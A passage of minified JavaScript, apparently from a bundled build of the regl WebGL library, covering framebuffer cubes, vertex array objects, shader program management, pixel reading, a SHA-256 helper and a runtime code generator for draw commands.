fr&&(Nr.depthStencil=fr.depthStencil)):Rr=1,Cr)if(Array.isArray(Cr))for(fr=[],lr=0;lr<Cr.length;++lr)fr[lr]=Cr[lr];else fr=[Cr];else for(fr=Array(Ur),Cr={radius:Rr,format:lr,type:vn},lr=0;lr<Ur;++lr)fr[lr]=dr.createCube(Cr);for(Nr.color=Array(fr.length),lr=0;lr<fr.length;++lr)Ur=fr[lr],Rr=Rr||Ur.width,Nr.color[lr]={target:34069,data:fr[lr]};for(lr=0;6>lr;++lr){for(Ur=0;Ur<fr.length;++Ur)Nr.color[Ur].target=34069+lr;0<lr&&(Nr.depth=ur[0].depth,Nr.stencil=ur[0].stencil,Nr.depthStencil=ur[0].depthStencil),ur[lr]?ur[lr](Nr):ur[lr]=Ne(Nr)}return re(or,{width:Rr,height:Rr,color:fr})}var ur=Array(6);return or(It),re(or,{faces:ur,resize:function(fr){var lr=fr|0;if(lr===or.width)return or;var Nr=or.color;for(fr=0;fr<Nr.length;++fr)Nr[fr].resize(lr);for(fr=0;6>fr;++fr)ur[fr].resize(lr);return or.width=or.height=lr,or},_reglType:"framebufferCube",destroy:function(){ur.forEach(function(fr){fr.destroy()})}})},clear:function(){ge(Jt).forEach(yr)},restore:function(){Et.cur=null,Et.next=null,Et.dirty=!0,ge(Jt).forEach(function(It){It.framebuffer=ct.createFramebuffer(),Ue(It)})}})}function B(){this.w=this.z=this.y=this.x=this.state=0,this.buffer=null,this.size=0,this.normalized=!1,this.type=5126,this.divisor=this.stride=this.offset=0}function _(ct,Vt,Ut,dr,sr,nt,rt){function vt(Ue){if(Ue!==yr.currentVAO){var Ne=Vt.oes_vertex_array_object;Ue?Ne.bindVertexArrayOES(Ue.vao):Ne.bindVertexArrayOES(null),yr.currentVAO=Ue}}function gt(Ue){if(Ue!==yr.currentVAO){if(Ue)Ue.bindAttrs();else{for(var Ne=Vt.angle_instanced_arrays,Et=0;Et<Xt.length;++Et){var Lt=Xt[Et];Lt.buffer?(ct.enableVertexAttribArray(Et),Lt.buffer.bind(),ct.vertexAttribPointer(Et,Lt.size,Lt.type,Lt.normalized,Lt.stride,Lt.offfset),Ne&&Lt.divisor&&Ne.vertexAttribDivisorANGLE(Et,Lt.divisor)):(ct.disableVertexAttribArray(Et),ct.vertexAttrib4f(Et,Lt.x,Lt.y,Lt.z,Lt.w))}rt.elements?ct.bindBuffer(34963,rt.elements.buffer.buffer):ct.bindBuffer(34963,null)}yr.currentVAO=Ue}}function wt(){ge($t).forEach(function(Ue){Ue.destroy()})}function mt(){this.id=++Yt,this.attributes=[],this.elements=null,this.ownsElements=!1,this.offset=this.count=0,this.instances=-1,this.primitive=4;var Ue=Vt.oes_vertex_array_object;this.vao=Ue?Ue.createVertexArrayOES():null,$t[this.id]=this,this.buffers=[]}function Pt(){Vt.oes_vertex_array_object&&ge($t).forEach(function(Ue){Ue.refresh()})}var zt=Ut.maxAttributes,Xt=Array(zt);for(Ut=0;Ut<zt;++Ut)Xt[Ut]=new B;var Yt=0,$t={},yr={Record:B,scope:{},state:Xt,currentVAO:null,targetVAO:null,restore:Vt.oes_vertex_array_object?Pt:function(){},createVAO:function(Ue){function Ne(Lt){var Nt;Array.isArray(Lt)?(Nt=Lt,Et.elements&&Et.ownsElements&&Et.elements.destroy(),Et.elements=null,Et.ownsElements=!1,Et.offset=0,Et.count=0,Et.instances=-1,Et.primitive=4):(Lt.elements?(Nt=Lt.elements,Et.ownsElements?(typeof Nt=="function"&&Nt._reglType==="elements"?Et.elements.destroy():Et.elements(Nt),Et.ownsElements=!1):nt.getElements(Lt.elements)?(Et.elements=Lt.elements,Et.ownsElements=!1):(Et.elements=nt.create(Lt.elements),Et.ownsElements=!0)):(Et.elements=null,Et.ownsElements=!1),Nt=Lt.attributes,Et.offset=0,Et.count=-1,Et.instances=-1,Et.primitive=4,Et.elements&&(Et.count=Et.elements._elements.vertCount,Et.primitive=Et.elements._elements.primType),"offset"in Lt&&(Et.offset=Lt.offset|0),"count"in Lt&&(Et.count=Lt.count|0),"instances"in Lt&&(Et.instances=Lt.instances|0),"primitive"in Lt&&(Et.primitive=Ze[Lt.primitive])),Lt={};var rr=Et.attributes;rr.length=Nt.length;for(var tr=0;tr<Nt.length;++tr){var Jt=Nt[tr],It=rr[tr]=new B,or=Jt.data||Jt;if(Array.isArray(or)||be(or)||u(or)){var ur;Et.buffers[tr]&&(ur=Et.buffers[tr],be(or)&&ur._buffer.byteLength>=or.byteLength?ur.subdata(or):(ur.destroy(),Et.buffers[tr]=null)),Et.buffers[tr]||(ur=Et.buffers[tr]=sr.create(Jt,34962,!1,!0)),It.buffer=sr.getBuffer(ur),It.size=It.buffer.dimension|0,It.normalized=!1,It.type=It.buffer.dtype,It.offset=0,It.stride=0,It.divisor=0,It.state=1,Lt[tr]=1}else sr.getBuffer(Jt)?(It.buffer=sr.getBuffer(Jt),It.size=It.buffer.dimension|0,It.normalized=!1,It.type=It.buffer.dtype,It.offset=0,It.stride=0,It.divisor=0,It.state=1):sr.getBuffer(Jt.buffer)?(It.buffer=sr.getBuffer(Jt.buffer),It.size=(+Jt.size||It.buffer.dimension)|0,It.normalized=!!Jt.normalized||!1,It.type="type"in Jt?Oe[Jt.type]:It.buffer.dtype,It.offset=(Jt.offset||0)|0,It.stride=(Jt.stride||0)|0,It.divisor=(Jt.divisor||0)|0,It.state=1):"x"in Jt&&(It.x=+Jt.x||0,It.y=+Jt.y||0,It.z=+Jt.z||0,It.w=+Jt.w||0,It.state=2)}for(ur=0;ur<Et.buffers.length;++ur)!Lt[ur]&&Et.buffers[ur]&&(Et.buffers[ur].destroy(),Et.buffers[ur]=null);return Et.refresh(),Ne}var Et=new mt;return dr.vaoCount+=1,Ne.destroy=function(){for(var Lt=0;Lt<Et.buffers.length;++Lt)Et.buffers[Lt]&&Et.buffers[Lt].destroy();Et.buffers.length=0,Et.ownsElements&&(Et.elements.destroy(),Et.elements=null,Et.ownsElements=!1),Et.destroy()},Ne._vao=Et,Ne._reglType="vao",Ne(Ue)},getVAO:function(Ue){return typeof Ue=="function"&&Ue._vao?Ue._vao:null},destroyBuffer:function(Ue){for(var Ne=0;Ne<Xt.length;++Ne){var Et=Xt[Ne];Et.buffer===Ue&&(ct.disableVertexAttribArray(Ne),Et.buffer=null)}},setVAO:Vt.oes_vertex_array_object?vt:gt,clear:Vt.oes_vertex_array_object?wt:function(){}};return mt.prototype.bindAttrs=function(){for(var Ue=Vt.angle_instanced_arrays,Ne=this.attributes,Et=0;Et<Ne.length;++Et){var Lt=Ne[Et];Lt.buffer?(ct.enableVertexAttribArray(Et),ct.bindBuffer(34962,Lt.buffer.buffer),ct.vertexAttribPointer(Et,Lt.size,Lt.type,Lt.normalized,Lt.stride,Lt.offset),Ue&&Lt.divisor&&Ue.vertexAttribDivisorANGLE(Et,Lt.divisor)):(ct.disableVertexAttribArray(Et),ct.vertexAttrib4f(Et,Lt.x,Lt.y,Lt.z,Lt.w))}for(Ue=Ne.length;Ue<zt;++Ue)ct.disableVertexAttribArray(Ue);(Ue=nt.getElements(this.elements))?ct.bindBuffer(34963,Ue.buffer.buffer):ct.bindBuffer(34963,null)},mt.prototype.refresh=function(){var Ue=Vt.oes_vertex_array_object;Ue&&(Ue.bindVertexArrayOES(this.vao),this.bindAttrs(),yr.currentVAO=null,Ue.bindVertexArrayOES(null))},mt.prototype.destroy=function(){if(this.vao){var Ue=Vt.oes_vertex_array_object;this===yr.currentVAO&&(yr.currentVAO=null,Ue.bindVertexArrayOES(null)),Ue.deleteVertexArrayOES(this.vao),this.vao=null}this.ownsElements&&(this.elements.destroy(),this.elements=null,this.ownsElements=!1),$t[this.id]&&(delete $t[this.id],--dr.vaoCount)},yr}function F(ct,Vt,Ut,dr){function sr(Yt,$t,yr,Ue){this.name=Yt,this.id=$t,this.location=yr,this.info=Ue}function nt(Yt,$t){for(var yr=0;yr<Yt.length;++yr)if(Yt[yr].id===$t.id){Yt[yr].location=$t.location;return}Yt.push($t)}function rt(Yt,$t,yr){yr=Yt===35632?wt:mt;var Ue=yr[$t];if(!Ue){var Ne=Vt.str($t),Ue=ct.createShader(Yt);ct.shaderSource(Ue,Ne),ct.compileShader(Ue),yr[$t]=Ue}return Ue}function vt(Yt,$t){this.id=Xt++,this.fragId=Yt,this.vertId=$t,this.program=null,this.uniforms=[],this.attributes=[],this.refCount=1,dr.profile&&(this.stats={uniformsCount:0,attributesCount:0})}function gt(Yt,$t,yr){var Ue;Ue=rt(35632,Yt.fragId);var Ne=rt(35633,Yt.vertId);if($t=Yt.program=ct.createProgram(),ct.attachShader($t,Ue),ct.attachShader($t,Ne),yr)for(Ue=0;Ue<yr.length;++Ue)Ne=yr[Ue],ct.bindAttribLocation($t,Ne[0],Ne[1]);ct.linkProgram($t),Ne=ct.getProgramParameter($t,35718),dr.profile&&(Yt.stats.uniformsCount=Ne);var Et=Yt.uniforms;for(Ue=0;Ue<Ne;++Ue)if(yr=ct.getActiveUniform($t,Ue))if(1<yr.size)for(var Lt=0;Lt<yr.size;++Lt){var Nt=yr.name.replace("[0]","["+Lt+"]");nt(Et,new sr(Nt,Vt.id(Nt),ct.getUniformLocation($t,Nt),yr))}else nt(Et,new sr(yr.name,Vt.id(yr.name),ct.getUniformLocation($t,yr.name),yr));for(Ne=ct.getProgramParameter($t,35721),dr.profile&&(Yt.stats.attributesCount=Ne),Yt=Yt.attributes,Ue=0;Ue<Ne;++Ue)(yr=ct.getActiveAttrib($t,Ue))&&nt(Yt,new sr(yr.name,Vt.id(yr.name),ct.getAttribLocation($t,yr.name),yr))}var wt={},mt={},Pt={},zt=[],Xt=0;return dr.profile&&(Ut.getMaxUniformsCount=function(){var Yt=0;return zt.forEach(function($t){$t.stats.uniformsCount>Yt&&(Yt=$t.stats.uniformsCount)}),Yt},Ut.getMaxAttributesCount=function(){var Yt=0;return zt.forEach(function($t){$t.stats.attributesCount>Yt&&(Yt=$t.stats.attributesCount)}),Yt}),{clear:function(){var Yt=ct.deleteShader.bind(ct);ge(wt).forEach(Yt),wt={},ge(mt).forEach(Yt),mt={},zt.forEach(function($t){ct.deleteProgram($t.program)}),zt.length=0,Pt={},Ut.shaderCount=0},program:function(Yt,$t,yr,Ue){var Ne=Pt[$t];Ne||(Ne=Pt[$t]={});var Et=Ne[Yt];if(Et&&(Et.refCount++,!Ue))return Et;var Lt=new vt($t,Yt);return Ut.shaderCount++,gt(Lt,yr,Ue),Et||(Ne[Yt]=Lt),zt.push(Lt),re(Lt,{destroy:function(){if(Lt.refCount--,0>=Lt.refCount){ct.deleteProgram(Lt.program);var Nt=zt.indexOf(Lt);zt.splice(Nt,1),Ut.shaderCount--}0>=Ne[Lt.vertId].refCount&&(ct.deleteShader(mt[Lt.vertId]),delete mt[Lt.vertId],delete Pt[Lt.fragId][Lt.vertId]),Object.keys(Pt[Lt.fragId]).length||(ct.deleteShader(wt[Lt.fragId]),delete wt[Lt.fragId],delete Pt[Lt.fragId])}})},restore:function(){wt={},mt={};for(var Yt=0;Yt<zt.length;++Yt)gt(zt[Yt],null,zt[Yt].attributes.map(function($t){return[$t.location,$t.name]}))},shader:rt,frag:-1,vert:-1}}function O(ct,Vt,Ut,dr,sr,nt,rt){function vt(wt){var mt;mt=Vt.next===null?5121:Vt.next.colorAttachments[0].texture._texture.type;var Pt=0,zt=0,Xt=dr.framebufferWidth,Yt=dr.framebufferHeight,$t=null;return be(wt)?$t=wt:wt&&(Pt=wt.x|0,zt=wt.y|0,Xt=(wt.width||dr.framebufferWidth-Pt)|0,Yt=(wt.height||dr.framebufferHeight-zt)|0,$t=wt.data||null),Ut(),wt=Xt*Yt*4,$t||(mt===5121?$t=new Uint8Array(wt):mt===5126&&($t=$t||new Float32Array(wt))),ct.pixelStorei(3333,4),ct.readPixels(Pt,zt,Xt,Yt,6408,mt,$t),$t}function gt(wt){var mt;return Vt.setFBO({framebuffer:wt.framebuffer},function(){mt=vt(wt)}),mt}return function(wt){return wt&&"framebuffer"in wt?gt(wt):vt(wt)}}function z(ct){for(var Vt=Array(ct.length>>2),dr=0;dr<Vt.length;dr++)Vt[dr]=0;for(dr=0;dr<8*ct.length;dr+=8)Vt[dr>>5]|=(ct.charCodeAt(dr/8)&255)<<24-dr%32;var Ut=8*ct.length;ct=[1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225];var dr=Array(64),sr,nt,rt,vt,gt,wt,mt,Pt,zt,Xt,Yt;for(Vt[Ut>>5]|=128<<24-Ut%32,Vt[(Ut+64>>9<<4)+15]=Ut,Pt=0;Pt<Vt.length;Pt+=16){for(Ut=ct[0],sr=ct[1],nt=ct[2],rt=ct[3],vt=ct[4],gt=ct[5],wt=ct[6],mt=ct[7],zt=0;64>zt;zt++){if(16>zt)dr[zt]=Vt[zt+Pt];else{Xt=zt,Yt=dr[zt-2],Yt=J(Yt,17)^J(Yt,19)^Yt>>>10,Yt=q(Yt,dr[zt-7]);var $t;$t=dr[zt-15],$t=J($t,7)^J($t,18)^$t>>>3,dr[Xt]=q(q(Yt,$t),dr[zt-16])}Xt=vt,Xt=J(Xt,6)^J(Xt,11)^J(Xt,25),Xt=q(q(q(q(mt,Xt),vt&gt^~vt&wt),et[zt]),dr[zt]),mt=Ut,mt=J(mt,2)^J(mt,13)^J(mt,22),Yt=q(mt,Ut&sr^Ut&nt^sr&nt),mt=wt,wt=gt,gt=vt,vt=q(rt,Xt),rt=nt,nt=sr,sr=Ut,Ut=q(Xt,Yt)}ct[0]=q(Ut,ct[0]),ct[1]=q(sr,ct[1]),ct[2]=q(nt,ct[2]),ct[3]=q(rt,ct[3]),ct[4]=q(vt,ct[4]),ct[5]=q(gt,ct[5]),ct[6]=q(wt,ct[6]),ct[7]=q(mt,ct[7])}for(Vt="",dr=0;dr<32*ct.length;dr+=8)Vt+=String.fromCharCode(ct[dr>>5]>>>24-dr%32&255);return Vt}function N(ct){for(var Vt="",Ut,dr=0;dr<ct.length;dr++)Ut=ct.charCodeAt(dr),Vt+="0123456789abcdef".charAt(Ut>>>4&15)+"0123456789abcdef".charAt(Ut&15);return Vt}function G(ct){for(var Vt="",Ut=-1,dr,sr;++Ut<ct.length;)dr=ct.charCodeAt(Ut),sr=Ut+1<ct.length?ct.charCodeAt(Ut+1):0,55296<=dr&&56319>=dr&&56320<=sr&&57343>=sr&&(dr=65536+((dr&1023)<<10)+(sr&1023),Ut++),127>=dr?Vt+=String.fromCharCode(dr):2047>=dr?Vt+=String.fromCharCode(192|dr>>>6&31,128|dr&63):65535>=dr?Vt+=String.fromCharCode(224|dr>>>12&15,128|dr>>>6&63,128|dr&63):2097151>=dr&&(Vt+=String.fromCharCode(240|dr>>>18&7,128|dr>>>12&63,128|dr>>>6&63,128|dr&63));return Vt}function J(ct,Vt){return ct>>>Vt|ct<<32-Vt}function q(ct,Vt){var Ut=(ct&65535)+(Vt&65535);return(ct>>16)+(Vt>>16)+(Ut>>16)<<16|Ut&65535}function ne(ct){return Array.prototype.slice.call(ct)}function fe(ct){return ne(ct).join("")}function X(ct){function Vt(){var mt=[],Pt=[];return re(function(){mt.push.apply(mt,ne(arguments))},{def:function(){var zt="v"+sr++;return Pt.push(zt),0<arguments.length&&(mt.push(zt,"="),mt.push.apply(mt,ne(arguments)),mt.push(";")),zt},toString:function(){return fe([0<Pt.length?"var "+Pt.join(",")+";":"",fe(mt)])}})}function Ut(){function mt($t,yr){zt($t,yr,"=",Pt.def($t,yr),";")}var Pt=Vt(),zt=Vt(),Xt=Pt.toString,Yt=zt.toString;return re(function(){Pt.apply(Pt,ne(arguments))},{def:Pt.def,entry:Pt,exit:zt,save:mt,set:function($t,yr,Ue){mt($t,yr),Pt($t,yr,"=",Ue,";")},toString:function(){return Xt()+Yt()}})}var dr=ct&&ct.cache,sr=0,nt=[],rt=[],vt=[],gt=Vt(),wt={};return{global:gt,link:function(mt,Pt){var zt=Pt&&Pt.stable;if(!zt){for(var Xt=0;Xt<rt.length;++Xt)if(rt[Xt]===mt&&!vt[Xt])return nt[Xt]}return Xt="g"+sr++,nt.push(Xt),rt.push(mt),vt.push(zt),Xt},block:Vt,proc:function(mt,Pt){function zt(){var yr="a"+Xt.length;return Xt.push(yr),yr}var Xt=[];Pt=Pt||0;for(var Yt=0;Yt<Pt;++Yt)zt();var Yt=Ut(),$t=Yt.toString;return wt[mt]=re(Yt,{arg:zt,toString:function(){return fe(["function(",Xt.join(),"){",$t(),"}"])}})},scope:Ut,cond:function(){var mt=fe(arguments),Pt=Ut(),zt=Ut(),Xt=Pt.toString,Yt=zt.toString;return re(Pt,{then:function(){return Pt.apply(Pt,ne(arguments)),this},else:function(){return zt.apply(zt,ne(arguments)),this},toString:function(){var $t=Yt();return $t&&($t="else{"+$t+"}"),fe(["if(",mt,"){",Xt(),"}",$t])}})},compile:function(){var mt=['"use strict";',gt,"return {"];Object.keys(wt).forEach(function(Xt){mt.push('"',Xt,'":',wt[Xt].toString(),",")}),mt.push("}");var Pt=fe(mt).replace(/;/g,`;
`).replace(/}/g,`}
`).replace(/{/g,`{
`),zt;return dr&&(zt=N(z(G(Pt))),dr[zt])?dr[zt].apply(null,rt):(Pt=Function.apply(null,nt.concat(Pt)),dr&&(dr[zt]=Pt),Pt.apply(null,rt))}}}function W(ct){return Array.isArray(ct)||be(ct)||u(ct)}function V(ct){return ct.sort(function(Vt,Ut){return Vt==="viewport"?-1:Ut==="viewport"?1:Vt<Ut?-1:1})}function Y(ct,Vt,Ut,dr){this.thisDep=ct,this.contextDep=Vt,this.propDep=Ut,this.append=dr}function Q(ct){return ct&&!(ct.thisDep||ct.contextDep||ct.propDep)}function ie(ct){return new Y(!1,!1,!1,ct)}function j(ct,Vt){var Ut=ct.type;if(Ut===0)return Ut=ct.data.length,new Y(!0,1<=Ut,2<=Ut,Vt);if(Ut===4)return Ut=ct.data,new Y(Ut.thisDep,Ut.contextDep,Ut.propDep,Vt);if(Ut===5)return new Y(!1,!1,!1,Vt);if(Ut===6){for(var dr=Ut=!1,sr=!1,nt=0;nt<ct.data.length;++nt){var rt=ct.data[nt];rt.type===1?sr=!0:rt.type===2?dr=!0:rt.type===3?Ut=!0:rt.type===0?(Ut=!0,rt=rt.data,1<=rt&&(dr=!0),2<=rt&&(sr=!0)):rt.type===4&&(Ut=Ut||rt.data.thisDep,dr=dr||rt.data.contextDep,sr=sr||rt.data.propDep)}return new Y(Ut,dr,sr,Vt)}return new Y(Ut===3,Ut===2,Ut===1,Vt)}function K(ct,Vt,Ut,dr,sr,nt,rt,vt,gt,wt,mt,Pt,zt,Xt,Yt,$t){function yr(Ht){return Ht.replace(".","_")}function Ue(Ht,pr,$r){var on=yr(Ht);bn.push(Ht),kn[on]=un[on]=!!$r,wn[on]=pr}function Ne(Ht,pr,$r){var on=yr(Ht);bn.push(Ht),Array.isArray($r)?(un[on]=$r.slice(),kn[on]=$r.slice()):un[on]=kn[on]=$r,zn[on]=pr}function Et(){var Ht=X({cache:Yt}),pr=Ht.link,$r=Ht.global;Ht.id=Fa++,Ht.batchId="0";var on=pr(Jn),sn=Ht.shared={props:"a0"};Object.keys(Jn).forEach(function(br){sn[br]=$r.def(on,".",br)});var Tn=Ht.next={},pn=Ht.current={};Object.keys(zn).forEach(function(br){Array.isArray(un[br])&&(Tn[br]=$r.def(sn.next,".",br),pn[br]=$r.def(sn.current,".",br))});var nn=Ht.constants={};Object.keys(ba).forEach(function(br){nn[br]=$r.def(JSON.stringify(ba[br]))}),Ht.invoke=function(br,Lr){switch(Lr.type){case 0:var ln=["this",sn.context,sn.props,Ht.batchId];return br.def(pr(Lr.data),".call(",ln.slice(0,Math.max(Lr.data.length+1,4)),")");case 1:return br.def(sn.props,Lr.data);case 2:return br.def(sn.context,Lr.data);case 3:return br.def("this",Lr.data);case 4:return Lr.data.append(Ht,br),Lr.data.ref;case 5:return Lr.data.toString();case 6:return Lr.data.map(function(Ln){return Ht.invoke(br,Ln)})}},Ht.attribCache={};var Ar={};return Ht.scopeAttrib=function(br){if(br=Vt.id(br),br in Ar)return Ar[br];var Lr=wt.scope[br];return Lr||(Lr=wt.scope[br]=new Wn),Ar[br]=pr(Lr)},Ht}function Lt(Ht){var pr=Ht.static;Ht=Ht.dynamic;var $r;if("profile"in pr){var on=!!pr.profile;$r=ie(function(Tn,pn){return on}),$r.enable=on}else if("profile"in Ht){var sn=Ht.profile;$r=j(sn,function(Tn,pn){return Tn.invoke(pn,sn)})}return $r}function Nt(Ht,pr){var $r=Ht.static,on=Ht.dynamic;if("framebuffer"in $r){var sn=$r.framebuffer;return sn?(sn=vt.getFramebuffer(sn),ie(function(pn,nn){var Ar=pn.link(sn),br=pn.shared;return nn.set(br.framebuffer,".next",Ar),br=br.context,nn.set(br,".framebufferWidth",Ar+".width"),nn.set(br,".framebufferHeight",Ar+".height"),Ar})):ie(function(pn,nn){var Ar=pn.shared;return nn.set(Ar.framebuffer,".next","null"),Ar=Ar.context,nn.set(Ar,".framebufferWidth",Ar+".drawingBufferWidth"),nn.set(Ar,".framebufferHeight",Ar+".drawingBufferHeight"),"null"})}if("framebuffer"in on){var Tn=on.framebuffer;return j(Tn,function(pn,nn){var Lr=pn.invoke(nn,Tn),Ar=pn.shared,br=Ar.framebuffer,Lr=nn.def(br,".getFramebuffer(",Lr,")");return nn.set(br,".next",Lr),Ar=Ar.context,nn.set(Ar,".framebufferWidth",Lr+"?"+Lr+".width:"+Ar+".drawingBufferWidth"),nn.set(Ar,".framebufferHeight",Lr+"?"+Lr+".height:"+Ar+".drawingBufferHeight"),Lr})}return null}function rr(Ht,pr,$r){function on(nn){if(nn in sn){var Ar=sn[nn];nn=!0;var br=Ar.x|0,Lr=Ar.y|0,ln,Ln;return"width"in Ar?ln=Ar.width|0:nn=!1,"height"in Ar?Ln=Ar.height|0:nn=!1,new Y(!nn&&pr&&pr.thisDep,!nn&&pr&&pr.contextDep,!nn&&pr&&pr.propDep,function(fn,Rn){var Zn=fn.shared.context,ta=ln;"width"in Ar||(ta=Rn.def(Zn,".","framebufferWidth","-",br));var Qn=Ln;return"height"in Ar||(Qn=Rn.def(Zn,".","framebufferHeight","-",Lr)),[br,Lr,ta,Qn]})}if(nn in Tn){var On=Tn[nn];return nn=j(On,function(fn,Rn){var oa=fn.invoke(Rn,On),Zn=fn.shared.context,ta=Rn.def(oa,".x|0"),Qn=Rn.def(oa,".y|0"),$n=Rn.def('"width" in ',oa,"?",oa,".width|0:","(",Zn,".","framebufferWidth","-",ta,")"),oa=Rn.def('"height" in ',oa,"?",oa,".height|0:","(",Zn,".","framebufferHeight","-",Qn,")");return[ta,Qn,$n,oa]}),pr&&(nn.thisDep=nn.thisDep||pr.thisDep,nn.contextDep=nn.contextDep||pr.contextDep,nn.propDep=nn.propDep||pr.propDep),nn}return pr?new Y(pr.thisDep,pr.contextDep,pr.propDep,function(fn,Rn){var Zn=fn.shared.context;return[0,0,Rn.def(Zn,".","framebufferWidth"),Rn.def(Zn,".","framebufferHeight")]}):null}var sn=Ht.static,Tn=Ht.dynamic;if(Ht=on("viewport")){var pn=Ht;Ht=new Y(Ht.thisDep,Ht.contextDep,Ht.propDep,function(nn,Ar){var br=pn.append(nn,Ar),Lr=nn.shared.context;return Ar.set(Lr,".viewportWidth",br[2]),Ar.set(Lr,".viewportHeight",br[3]),br})}return{viewport:Ht,scissor_box:on("scissor.box")}}function tr(Ht,pr){var $r=Ht.static;if(typeof $r.frag=="string"&&typeof $r.vert=="string"){if(0<Object.keys(pr.dynamic).length)return null;var $r=pr.static,on=Object.keys($r);if(0<on.length&&typeof $r[on[0]]=="number"){for(var sn=[],Tn=0;Tn<on.length;++Tn)sn.push([$r[on[Tn]]|0,on[Tn]]);return sn}}return null}function Jt(Ht,pr,$r){function on(br){if(br in sn){var Lr=Vt.id(sn[br]);return br=ie(function(){return Lr}),br.id=Lr,br}if(br in Tn){var ln=Tn[br];return j(ln,function(Ln,On){var fn=Ln.invoke(On,ln);return On.def(Ln.shared.strings,".id(",fn,")")})}return null}var sn=Ht.static,Tn=Ht.dynamic,pn=on("frag"),nn=on("vert"),Ar=null;return Q(pn)&&Q(nn)?(Ar=mt.program(nn.id,pn.id,null,$r),Ht=ie(function(br,Lr){return br.link(Ar)})):Ht=new Y(pn&&pn.thisDep||nn&&nn.thisDep,pn&&pn.contextDep||nn&&nn.contextDep,pn&&pn.propDep||nn&&nn.propDep,function(br,Lr){var ln=br.shared.shader,Ln;Ln=pn?pn.append(br,Lr):Lr.def(ln,".","frag");var On;return On=nn?nn.append(br,Lr):Lr.def(ln,".","vert"),Lr.def(ln+".program("+On+","+Ln+")")}),{frag:pn,vert:nn,progVar:Ht,program:Ar}}function It(Ht,pr){function $r(fn,Rn){if(fn in on){var Zn=on[fn]|0;return Rn?Tn.offset=Zn:Tn.instances=Zn,ie(function(Qn,$n){return Rn&&(Qn.OFFSET=Zn),Zn})}if(fn in sn){var ta=sn[fn];return j(ta,function(Qn,$n){var oa=Qn.invoke($n,ta);return Rn&&(Qn.OFFSET=oa),oa})}if(Rn){if(Ar)return ie(function(Qn,$n){return Qn.OFFSET=0});if(pn)return new Y(nn.thisDep,nn.contextDep,nn.propDep,function(Qn,$n){return $n.def(Qn.shared.vao+".currentVAO?"+Qn.shared.vao+".currentVAO.offset:0")})}else if(pn)return new Y(nn.thisDep,nn.contextDep,nn.propDep,function(Qn,$n){return $n.def(Qn.shared.vao+".currentVAO?"+Qn.shared.vao+".currentVAO.instances:-1")});return null}var on=Ht.static,sn=Ht.dynamic,Tn={},pn=!1,nn=function(){if("vao"in on){var fn=on.vao;return fn!==null&&wt.getVAO(fn)===null&&(fn=wt.createVAO(fn)),pn=!0,Tn.vao=fn,ie(function(Zn){var ta=wt.getVAO(fn);return ta?Zn.link(ta):"null"})}if("vao"in sn){pn=!0;var Rn=sn.vao;return j(Rn,function(Zn,ta){var Qn=Zn.invoke(ta,Rn);return ta.def(Zn.shared.vao+".getVAO("+Qn+")")})}return null}(),Ar=!1,br=function(){if("elements"in on){var fn=on.elements;if(Tn.elements=fn,W(fn)){var Rn=Tn.elements=nt.create(fn,!0),fn=nt.getElements(Rn);Ar=!0}else fn&&(fn=nt.getElements(fn),Ar=!0);return Rn=ie(function(ta,Qn){if(fn){var $n=ta.link(fn);return ta.ELEMENTS=$n}return ta.ELEMENTS=null}),Rn.value=fn,Rn}if("elements"in sn){Ar=!0;var Zn=sn.elements;return j(Zn,function(ta,Qn){var $n=ta.shared,Di=$n.isBufferArgs,$n=$n.elements,Gi=ta.invoke(Qn,Zn),oa=Qn.def("null"),Di=Qn.def(Di,"(",Gi,")"),Gi=ta.cond(Di).then(oa,"=",$n,".createStream(",Gi,");").else(oa,"=",$n,".getElements(",Gi,");");return Qn.entry(Gi),Qn.exit(ta.cond(Di).then($n,".destroyStream(",oa,");")),ta.ELEMENTS=oa})}return pn?new Y(nn.thisDep,nn.contextDep,nn.propDep,function(ta,Qn){return Qn.def(ta.shared.vao+".currentVAO?"+ta.shared.elements+".getElements("+ta.shared.vao+".currentVAO.elements):null")}):null}(),Lr=$r("offset",!0),ln=function(){if("primitive"in on){var fn=on.primitive;return Tn.primitive=fn,ie(function(Zn,ta){return Ze[fn]})}if("primitive"in sn){var Rn=sn.primitive;return j(Rn,function(Zn,ta){var Qn=Zn.constants.primTypes,$n=Zn.invoke(ta,Rn);return ta.def(Qn,"[",$n,"]")})}return Ar?Q(br)?br.value?ie(function(Zn,ta){return ta.def(Zn.ELEMENTS,".primType")}):ie(function(){return 4}):new Y(br.thisDep,br.contextDep,br.propDep,function(Zn,ta){var Qn=Zn.ELEMENTS;return ta.def(Qn,"?",Qn,".primType:",4)}):pn?new Y(nn.thisDep,nn.contextDep,nn.propDep,function(Zn,ta){return ta.def(Zn.shared.vao+".currentVAO?"+Zn.shared.vao+".currentVAO.primitive:4")}):null}(),Ln=function(){if("count"in on){var fn=on.count|0;return Tn.count=fn,ie(function(){return fn})}if("count"in sn){var Rn=sn.count;return j(Rn,function(Zn,ta){return Zn.invoke(ta,Rn)})}return Ar?Q(br)?br?Lr?new Y(Lr.thisDep,Lr.contextDep,Lr.propDep,function(Zn,ta){return ta.def(Zn.ELEMENTS,".vertCount-",Zn.OFFSET)}):ie(function(Zn,ta){return ta.def(Zn.ELEMENTS,".vertCount")}):ie(function(){return-1}):new Y(br.thisDep||Lr.thisDep,br.contextDep||Lr.contextDep,br.propDep||Lr.propDep,function(Zn,ta){var Qn=Zn.ELEMENTS;return Zn.OFFSET?ta.def(Qn,"?",Qn,".vertCount-",Zn.OFFSET,":-1"):ta.def(Qn,"?",Qn,".vertCount:-1")}):pn?new Y(nn.thisDep,nn.contextDep,nn.propDep,function(Zn,ta){return ta.def(Zn.shared.vao,".currentVAO?",Zn.shared.vao,".currentVAO.count:-1")}):null}(),On=$r("instances",!1);return{elements:br,primitive:ln,count:Ln,instances:On,offset:Lr,vao:nn,vaoActive:pn,elementsActive:Ar,static:Tn}}function or(Ht,pr){var $r=Ht.static,on=Ht.dynamic,sn={};return bn.forEach(function(Tn){function pn(Ar,br){if(Tn in $r){var Lr=Ar($r[Tn]);sn[nn]=ie(function(){return Lr})}else if(Tn in on){var ln=on[Tn];sn[nn]=j(ln,function(Ln,On){return br(Ln,On,Ln.invoke(On,ln))})}}var nn=yr(Tn);switch(Tn){case"cull.enable":case"blend.enable":case"dither":case"stencil.enable":case"depth.enable":case"scissor.enable":case"polygonOffset.enable":case"sample.alpha":case"sample.enable":case"depth.mask":return pn(function(Ar){return Ar},function(Ar,br,Lr){return Lr});case"depth.func":return pn(function(Ar){return Ft[Ar]},function(Ar,br,Lr){return br.def(Ar.constants.compareFuncs,"[",Lr,"]")});case"depth.range":return pn(function(Ar){return 